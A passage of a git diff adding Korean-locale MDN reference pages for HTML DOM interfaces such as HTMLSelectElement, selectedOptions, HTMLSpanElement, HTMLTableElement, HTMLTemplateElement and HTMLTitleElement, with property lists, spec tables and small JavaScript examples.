+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-70901257', 'HTMLOptionElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLOptionElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("option")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlselectelement/index.html b/files/ko/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..967409aadc
--- /dev/null
+++ b/files/ko/web/api/htmlselectelement/index.html
@@ -0,0 +1,166 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+tags:
+ - API
+ - HTML DOM
+ - HTMLSelectElement
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.disabled")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</dd>
+ <dt>{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.</dd>
+ <dt>{{domxref("HTMLSelectElement.length")}}</dt>
+ <dd>An <code>unsigned long</code> The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.multiple")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</dd>
+ <dt>{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.</dd>
+ <dt>{{domxref("HTMLSelectElement.required")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt>
+ <dd>A <code>long</code> reflecting the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.size")}}</dt>
+ <dd>A <code>long</code> reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is <code>true</code>, in which case it is 4.</dd>
+ <dt>{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} represeting the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd>
+ <dt>{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("ValidityState")}} reflecting the validity state that this control is in.</dd>
+ <dt>{{domxref("HTMLSelectElement.value")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form control. Returns the <code>value</code> property of the first selected option element if there is one, otherwise the empty string.</dd>
+ <dt>{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.add()")}}</dt>
+ <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}</dt>
+ <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt>
+ <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns <code>false</code>).</dd>
+ <dt>{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}</dt>
+ <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.item()")}}</dt>
+ <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt>
+ <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.remove()")}}</dt>
+ <dd>Removes the element at the specified index from the options collection for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.reportValidity()")}}</dt>
+ <dd>This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns <code>false</code>; if there are no problems, it returns <code>true</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt>
+ <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using {{domxref("EventTarget/addEventListener", "addEventListener()")}} or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface:</p>
+
+<dl>
+ <dt>{{domxref("HTMLElement/input_event", "input")}} event</dt>
+ <dd>Fires when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+ &lt;option&gt;First&lt;/option&gt;
+ &lt;option selected&gt;Second&lt;/option&gt;
+ &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/API/HTMLElement/change_event#&lt;select>_element">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+ It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+ The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+ The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+ <code>length</code> now returns an <code>unsigned long</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/ko/web/api/htmlselectelement/selectedoptions/index.html b/files/ko/web/api/htmlselectelement/selectedoptions/index.html
new file mode 100644
index 0000000000..da8993f4cf
--- /dev/null
+++ b/files/ko/web/api/htmlselectelement/selectedoptions/index.html
@@ -0,0 +1,123 @@
+---
+title: HTMLSelectElement.selectedOptions
+slug: Web/API/HTMLSelectElement/selectedOptions
+translation_of: Web/API/HTMLSelectElement/selectedOptions
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <strong>read-only</strong> {{domxref("HTMLSelectElement")}} property <code><strong>selectedOptions</strong></code> contains a list of the {{HTMLElement("option")}} elements contained within the {{HTMLElement("select")}} element that are currently selected. The list of selected options is an {{domxref("HTMLCollection")}} object with one entry per currently selected option.</p>
+
+<p>An option is considered selected if it has an {{domxref("HTMLOptionElement.selected")}} attribute.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>selectedCollection</em> = <em>HTMLSelectElement</em>.selectedOptions;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>An {{domxref("HTMLCollection")}} which lists every currently selected {{domxref("HTMLOptionElement")}} which is either a child of the {{domxref("HTMLSelectElement")}} or of an {{domxref("HTMLOptGroupElement")}} within the <code>&lt;select&gt;</code> element.</p>
+
+<p>In other words, any option contained within the <code>&lt;select&gt;</code> element may be part of the results, but option groups are not included in the list.</p>
+
+<p>If no options are currently selected, the collection is empty and returns a {{domxref("HTMLCollection.length", "length")}} of 0.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In this example, a {{HTMLElement("select")}} element with a number of options is used to let the user order various food items.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML that creates the selection box and the {{HTMLElement("option")}} elements representing each of the food choices looks like this:</p>
+
+<pre class="brush: html">&lt;label for="foods"&gt;What do you want to eat?&lt;/label&gt;&lt;br&gt;
+&lt;select id="foods" name="foods" size="7" multiple&gt;
+ &lt;option value="1"&gt;Burrito&lt;/option&gt;
+ &lt;option value="2"&gt;Cheeseburger&lt;/option&gt;
+ &lt;option value="3"&gt;Double Bacon Burger Supreme&lt;/option&gt;
+ &lt;option value="4"&gt;Pepperoni Pizza&lt;/option&gt;
+ &lt;option value="5"&gt;Taco&lt;/option&gt;
+&lt;/select&gt;
+&lt;br&gt;
+&lt;button name="order" id="order"&gt;
+ Order Now
+&lt;/button&gt;
+&lt;p id="output"&gt;
+&lt;/p&gt;</pre>
+
+<p>The <code>&lt;select&gt;</code> element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the {{HTMLElement("button")}}, whose role it is to trigger fetching the {{domxref("HTMLCollection")}} of selected elements using the <code>selected</code> property.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>The JavaScript code that establishes the event handler for the button, as well as the event handler itself, looks like this:</p>
+
+<pre class="brush: js">let orderButton = document.getElementById("order");
+let itemList = document.getElementById("foods");
+let outputBox = document.getElementById("output");
+
+orderButton.addEventListener("click", function() {
+ let collection = itemList.selectedOptions;
+ let output = "";
+
+ for (let i=0; i&lt;collection.length; i++) {
+ if (output === "") {
+ output = "Your order for the following items has been placed: ";
+ }
+ output += collection[i].label;
+
+ if (i === (collection.length - 2) &amp;&amp; (collection.length &lt; 3)) {
+ output += " and ";
+ } else if (i &lt; (collection.length - 2)) {
+ output += ", ";
+ } else if (i === (collection.length - 2)) {
+ output += ", and ";
+ }
+ }
+
+ if (output === "") {
+ output = "You didn't order anything!";
+ }
+
+ outputBox.innerHTML = output;
+}, false);</pre>
+
+<p>This script sets up a {{event("click")}} event listener on the "Order Now" button. When clicked, the event handler fetches the list of selected options using <code>selectedOptions</code>, then iterates over the options in the list. A string is constructed to list the ordered items, with logic to build the list using proper English grammar rules (including a {{interwiki("wikipedia", "serial comma")}}).</p>
+
+<h3 id="Result">Result</h3>
+
+<p>The resulting content looks like this in action:</p>
+
+<p>{{EmbedLiveSample("Example", 600, 250)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "form-elements.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "forms.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement.selectedOptions")}}</p>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>{{SectionOnPage("/en-US/docs/Learn/HTML/Forms/The_native_form_widgets", "Drop-down content")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlspanelement/index.html b/files/ko/web/api/htmlspanelement/index.html
new file mode 100644
index 0000000000..084f295382
--- /dev/null
+++ b/files/ko/web/api/htmlspanelement/index.html
@@ -0,0 +1,61 @@
+---
+title: HTMLSpanElement
+slug: Web/API/HTMLSpanElement
+tags:
+ - API
+ - HTML DOM
+ - 레퍼런스
+ - 인터페이스
+translation_of: Web/API/HTMLSpanElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><strong><code><span class="external">HTMLSpanElement</span></code></strong> 인터페이스는 {{HTMLElement("span")}} 엘리먼트를 나타내며 {{ domxref("HTMLElement") }} 인터페이스로부터 파생되었으며 부가적인 프로퍼티나 메소드는 구현되지 않았습니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>특정 프로퍼티가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 프로퍼티를 상속받습니다.</em></p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>특정 메소드가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 메소드를 상속받습니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmlspanelement", "HTMLSpanElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-span-element", "HTMLSpanElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>초기 정의는 {{HTMLElement("span")}} 이 {{domxref("HTMLElement")}} 와 연관되어 있었음.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLSpanElement")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>이 인터페이스를 구현한 HTML 엘리먼트: {{HTMLElement("span")}}.</li>
+</ul>
+
+<div> </div>
diff --git a/files/ko/web/api/htmltableelement/index.html b/files/ko/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..551d68b58e
--- /dev/null
+++ b/files/ko/web/api/htmltableelement/index.html
@@ -0,0 +1,109 @@
+---
+title: table
+slug: Web/API/HTMLTableElement
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/HTMLTableElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="HTML_Table_.EC.9A.94.EC.86.8C_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name="HTML_Table_.EC.9A.94.EC.86.8C_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">HTML Table 요소 인터페이스</h3>
+<p><code>table</code> 개체는 (상속으로 이용할 수 있는 정규 <a href="ko/DOM/element">element</a> 개체 인터페이스 외에) HTML 표의 layout과 presentation을 다루는 특수 프로퍼티와 메소드를 제공하는 <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425">HTMLTableElement</a></code> 인터페이스를 내놓습니다.</p>
+<h3 id=".ED.94.84.EB.A1.9C.ED.8D.BC.ED.8B.B0" name=".ED.94.84.EB.A1.9C.ED.8D.BC.ED.8B.B0">프로퍼티</h3>
+<dl>
+ <dt>
+ <a href="ko/DOM/table.caption">table.caption</a></dt>
+ <dd>
+ <b>caption</b>은 표 caption을 반환합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.tHead">table.tHead</a></dt>
+ <dd>
+ <b>tHead</b>는 표 head를 반환합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.tFoot">table.tFoot</a></dt>
+ <dd>
+ <b>tFoot</b>은 표 footer를 반환합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.rows">table.rows</a></dt>
+ <dd>
+ <b>rows</b>는 표의 줄(row)을 반환합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.tBodies">table.tBodies</a></dt>
+ <dd>
+ <b>tBodies</b>는 표 body를 반환합니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <a href="ko/DOM/table.align">table.align</a></dt>
+ <dd>
+ <b>align</b>은 표 정렬을 get/set합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.bgColor">table.bgColor</a> {{ Deprecated_inline() }} </dt>
+ <dd>
+ <b>bgColor</b>는 표의 배경색을 get/set합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.border">table.border</a></dt>
+ <dd>
+ <b>border</b>는 표 border를 get/set합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.cellPadding">table.cellPadding</a></dt>
+ <dd>
+ <b>cellPadding</b>은 cell padding을 get/set합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.cellSpacing">table.cellSpacing</a></dt>
+ <dd>
+ <b>cellSpacing</b>은 표 주변 spacing을 get/set합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.frame">table.frame</a></dt>
+ <dd>
+ <b>frame</b>은 표 어느 쪽이 border를 가질 지를 지정합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.rules">table.rules</a></dt>
+ <dd>
+ <b>rules</b>는 안쪽 border가 보일 지를 지정합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.summary">table.summary</a></dt>
+ <dd>
+ <b>summary</b>는 표 요약을 get/set합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.width">table.width</a></dt>
+ <dd>
+ <b>width</b>는 표 너비를 get/set합니다.</dd>
+</dl>
+<h3 id=".EB.A9.94.EC.86.8C.EB.93.9C" name=".EB.A9.94.EC.86.8C.EB.93.9C">메소드</h3>
+<dl>
+ <dt>
+ <a href="ko/DOM/table.createTHead">table.createTHead</a></dt>
+ <dd>
+ <b>createTHead</b>는 표 header를 만듭니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.deleteTHead">table.deleteTHead</a></dt>
+ <dd>
+ <b>deleteTHead</b>는 표 header를 없앱니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.createTFoot">table.createTFoot</a></dt>
+ <dd>
+ <b>createTFoot</b>은 표 footer를 만듭니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
+ <dd>
+ <b>deleteTFoot</b>은 표 footer를 없앱니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.createCaption">table.createCaption</a></dt>
+ <dd>
+ <b>createCaption</b>는 표에 새 caption을 만듭니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.deleteCaption">table.deleteCaption</a></dt>
+ <dd>
+ <b>deleteCaption</b>은 표 caption을 없앱니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.insertRow">table.insertRow</a></dt>
+ <dd>
+ <b>insertRow</b>는 새 줄을 삽입합니다.</dd>
+ <dt>
+ <a href="ko/DOM/table.deleteRow">table.deleteRow</a></dt>
+ <dd>
+ <b>deleteRow</b>는 줄을 없앱니다.</dd>
+</dl>
+<p>{{ languages( { "en": "en/DOM/table", "pl": "pl/DOM/table" } ) }}</p>
diff --git a/files/ko/web/api/htmltableelement/width/index.html b/files/ko/web/api/htmltableelement/width/index.html
new file mode 100644
index 0000000000..de93d46543
--- /dev/null
+++ b/files/ko/web/api/htmltableelement/width/index.html
@@ -0,0 +1,28 @@
+---
+title: table.width
+slug: Web/API/HTMLTableElement/width
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/HTMLTableElement/width
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><b>width</b>는 바라는 테이블의 너비를 지정합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval"><i>HTMLTableElement</i>.width =<i>width</i>;
+var<i>width</i> =<i>HTMLTableElement</i>.width;
+</pre>
+<p><code><a class="external" href="http://www.w3.org/TR/1999/REC-html401-19991224/struct/tables.html#adef-width-TABLE">width</a></code>가 픽셀수나 퍼센트 값으로 너비를 나타내는 문자열인 곳.</p>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<pre class="eval">mytable.width = "75%";
+</pre>
+<h3 id=".EC.8A.A4.ED.8E.99" name=".EC.8A.A4.ED.8E.99">스펙</h3>
+<p>W3C DOM 2 HTML Specification <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-77447361">
+ <i>
+ HTMLTableElement</i>
+ .width</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/table.width" } ) }}</p>
diff --git a/files/ko/web/api/htmltemplateelement/index.html b/files/ko/web/api/htmltemplateelement/index.html
new file mode 100644
index 0000000000..d53e94b947
--- /dev/null
+++ b/files/ko/web/api/htmltemplateelement/index.html
@@ -0,0 +1,58 @@
+---
+title: HTMLTemplateElement
+slug: Web/API/HTMLTemplateElement
+tags:
+ - API
+ - HTML DOM
+ - HTMLTemplateElement
+ - 레퍼런스
+ - 웹 컴포넌트
+ - 인터페이스
+translation_of: Web/API/HTMLTemplateElement
+---
+<div>{{APIRef("Web Components")}}</div>
+
+<p><code><strong>HTMLTemplateElement</strong></code> 인터페이스는 HTML {{HTMLElement("template")}} 엘리먼트의 컨텐츠에 접근할 수 있게 해줍니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>이 인터페이스는 {{domxref("HTMLElement")}} 의 프로퍼티를 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTemplateElement.content")}}{{readonlyinline}}</dt>
+ <dd>{{domxref("DocumentFragment")}}: {{HTMLElement("template")}} 엘리먼트의 템플릿 컨텐츠를 반환합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 {{domxref("HTMLElement")}} 의 메소드를 상속받습니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','scripting.html#htmltemplateelement','HTMLTemplateElement interface')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','scripting-1.html#htmltemplateelement','HTMLTemplateElement interface')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLTemplateElement")}}</p>
diff --git a/files/ko/web/api/htmltitleelement/index.html b/files/ko/web/api/htmltitleelement/index.html
new file mode 100644
index 0000000000..dedc718022
--- /dev/null
+++ b/files/ko/web/api/htmltitleelement/index.html
@@ -0,0 +1,77 @@
+---
+title: HTMLTitleElement
+slug: Web/API/HTMLTitleElement
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - Reference
+translation_of: Web/API/HTMLTitleElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLTitleElement</code></strong> 인터페이스는 문서의 제목을 담습니다. {{domxref("HTMLElement")}} 인터페이스의 속성과 메서드를 상속합니다,</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTitleElement.text")}}</dt>
+ <dd>문서의 제목을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmltitleelement", "HTMLTitleElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "document-metadata.html#the-title-element", "HTMLTitleElement")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-title-element", "HTMLTitleElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>No change from {{SpecName("DOM2 HTML")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-79243169', 'HTMLTitleElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>No change from {{SpecName("DOM1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-79243169', 'HTMLTitleElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
